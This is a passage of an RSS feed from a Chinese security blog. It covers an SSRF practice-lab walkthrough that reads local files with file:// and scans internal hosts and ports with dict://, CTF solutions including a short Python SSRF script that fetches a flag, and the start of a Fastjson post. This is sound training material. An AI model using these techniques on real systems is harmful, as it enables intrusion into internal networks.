+0800</pubDate><guid>http://blog.foreverwl.top/blog/%E5%9B%BD%E5%85%89ssrf%E9%9D%B6%E5%9C%BA%E6%89%93%E7%A9%BF%E5%86%85%E7%BD%91/</guid><description>&lt;h1 id="实验4--csrfssrf靶场渗透"&gt;&#10; 实验4 CSRF/SSRF靶场渗透&lt;a class="heading-anchor" href="#%e5%ae%9e%e9%aa%8c4--csrfssrf%e9%9d%b6%e5%9c%ba%e6%b8%97%e9%80%8f" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;因为平时ssrf等靶场不多，这次就搭建一下国光的ssrf打穿内网的靶场。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411181440809.png" alt="image-20241118144037757" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411181440809.png" alt="image-20241118144037757"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="环境搭建"&gt;&#10; 环境搭建&lt;a class="heading-anchor" href="#%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;源码链接：https://github.com/sqlsec/ssrf-vuls&#10;这里我使用docker搭建，主要是方便[&lt;a href="https://github.com/selectarget/SSRF_labs"&gt;selectarget/SSRF_labs: 国光SSRF靶场 docker一键启动 (github.com)&lt;/a&gt;](&lt;a href="https://github.com/Duoduo-chino/ssrf_vul"&gt;https://github.com/Duoduo-chino/ssrf_vul&lt;/a&gt;)&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081729395.png" alt="image-20241108172936292" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081729395.png" alt="image-20241108172936292"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;等待即可。。。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081817437.png" alt="image-20241108181705379" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081817437.png" alt="image-20241108181705379"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;搭建成功开始干！&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="渗透过程"&gt;&#10; 渗透过程&lt;a class="heading-anchor" href="#%e6%b8%97%e9%80%8f%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081817127.png" alt="image-20241108181720082" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081817127.png" alt="image-20241108181720082"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;提示ssrf，我们输入一个网站试试。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081741772.png" alt="image-20241108174108706" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081741772.png" alt="image-20241108174108706"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;发现直接跳进来了。&lt;/p&gt;&#10;&lt;p&gt;使用file协议，发现可以直接读取&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-5" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081817788.png" alt="image-20241108181731739" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-5" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081817788.png" alt="image-20241108181731739"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我们读一下网站代码&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-6" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081818637.png" alt="image-20241108181826510" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-6" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081818637.png" alt="image-20241108181826510"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;就是一个很经典的存在ssrf的代码。&lt;/p&gt;&#10;&lt;p&gt;读一下/etc/hosts&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-7" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081819260.png" alt="image-20241108181903226" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-7" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081819260.png" alt="image-20241108181903226"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-8" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081748408.png" alt="image-20241108174801357" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-8" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081748408.png" alt="image-20241108174801357"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;大概就是上边图片中解释的，那么我们当前访问的服务在内网中就是10.0.0.21。那现在我们可以去探测同网段的其他计算机。&lt;/p&gt;&#10;&lt;p&gt;我们先探测一下存活主机：&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-9" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081821369.png" alt="image-20241108182106288" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-9" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081821369.png" alt="image-20241108182106288"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我们可以通过根据响应时间来判断存活的状态，如果不存活 时间会很久。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;这里测试为&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt; &lt;span class="mi"&gt;29&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后我们就去测试这些主机哪些端口开放，这里使用功能dict协议&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="存活主机和开放端口"&gt;&#10; 存活主机和开放端口&lt;a class="heading-anchor" href="#%e5%ad%98%e6%b4%bb%e4%b8%bb%e6%9c%ba%e5%92%8c%e5%bc%80%e6%94%be%e7%ab%af%e5%8f%a3" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.21&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.22&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.23&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.24&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.25&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.26&lt;/span&gt; &lt;span class="mi"&gt;8080&lt;/span&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.27&lt;/span&gt; &lt;span class="mi"&gt;6379&lt;/span&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.28&lt;/span&gt; &lt;span class="mi"&gt;6379&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;0.29&lt;/span&gt; &lt;span class="mi"&gt;3306&lt;/span&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-10" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081829142.png" alt="image-20241108182938094" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-10" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411081829142.png" alt="image-20241108182938094"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>2024强网杯部分</title><link>http://blog.foreverwl.top/blog/2024%E5%BC%BA%E7%BD%91%E6%9D%AF%E9%83%A8%E5%88%86/</link><pubDate>Wed, 06 Nov 2024 03:10:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/2024%E5%BC%BA%E7%BD%91%E6%9D%AF%E9%83%A8%E5%88%86/</guid><description>&lt;h2 id="xiaohuanxiong"&gt;&#10; xiaohuanxiong&lt;a class="heading-anchor" href="#xiaohuanxiong" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;先初始化网站。然后发现是tp5.多版本，但是不知道怎么用&lt;/p&gt;&#10;&lt;p&gt;扫一下目录&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031804684.png" alt="image-20241103180449622" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031804684.png" alt="image-20241103180449622"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;经过访问各个页面，最后发现/admin/login/index.html可以登录，但是没有账号&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031806748.png" alt="image-20241103180602651" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031806748.png" alt="image-20241103180602651"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;扫一下/admin/目录&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031808118.png" alt="image-20241103180836079" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031808118.png" alt="image-20241103180836079"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;进入/admin/admins直接就进后台了，直接添加一个管理员&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031812501.png" alt="image-20241103181235463" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031812501.png" alt="image-20241103181235463"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;登录后台 在支付管理里面 可以写代码&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031813811.png" alt="image-20241103181341759" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031813811.png" alt="image-20241103181341759"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;bp拦截 会显示flag&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-5" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031814217.png" alt="image-20241103181456182" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-5" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031814217.png" alt="image-20241103181456182"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="proxy"&gt;&#10; Proxy&lt;a class="heading-anchor" href="#proxy" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;发现是go写的。&lt;/p&gt;&#10;&lt;p&gt;路由/v2/api/proxy&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-6" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031943917.png" alt="image-20241103194353882" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-6" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031943917.png" alt="image-20241103194353882"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;实现 HTTP 请求代理，将请求转发到指定的目标 URL。&lt;/p&gt;&#10;&lt;p&gt;路由 /v1/api/flag&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-7" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031944696.png" alt="image-20241103194446660" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-7" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031944696.png" alt="image-20241103194446660"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;用来获取flag的&lt;/p&gt;&#10;&lt;p&gt;然后审计代码可以知道 我们可以通过/v2/api/proxy访问/v1/api/flag就能读到flag了&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-8" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031859519.png" alt="image-20241103185923480" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-8" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031859519.png" alt="image-20241103185923480"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我们看一下代理配置文件&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-9" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031900430.png" alt="image-20241103190000388" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-9" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031900430.png" alt="image-20241103190000388"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我们要代理到 &lt;a href="http://localhost:8769/v1/api/flag"&gt;http://localhost:8769/v1/api/flag&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;脚本：&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def get_flag_pro():&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; prox_url=&amp;#34;http://39.105.114.252:30793/v2/api/proxy&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; headers={&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Content-Type&amp;#34;:&amp;#34;application/json&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data={&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;url&amp;#34;:&amp;#34;http://localhost:8769/v1/api/flag&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;method&amp;#34;:&amp;#34;POST&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;body&amp;#34;:&amp;#34;&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;headers&amp;#34;:{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Content-Type&amp;#34;:&amp;#34;application/json&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; },&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;follow_redirects&amp;#34;:False&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while(1):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response=requests.post(prox_url,headers=headers,data=json.dumps(data))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; flag= response.json().get(&amp;#34;flag&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(flag)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;get_flag_pro()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-10" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031900568.png" alt="img" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-10" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202411031900568.png" alt="img"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>初探Fastjson漏洞</title><link>http://blog.foreverwl.top/blog/%E5%88%9D%E6%8E%A2fastjson%E6%BC%8F%E6%B4%9E/</link><pubDate>Wed, 09 Oct 2024 09:27:15 +0800</pubDate><guid>http://blog.foreverwl.top/blog/%E5%88%9D%E6%8E%A2fastjson%E6%BC%8F%E6%B4%9E/</guid><description>&lt;h2 id="fastjson是什么"&gt;&#10; fastjson是什么&lt;a class="heading-anchor" href="#fastjson%e6%98%af%e4%bb%80%e4%b9%88" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;fastjson是阿里巴巴的开源的JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到Java 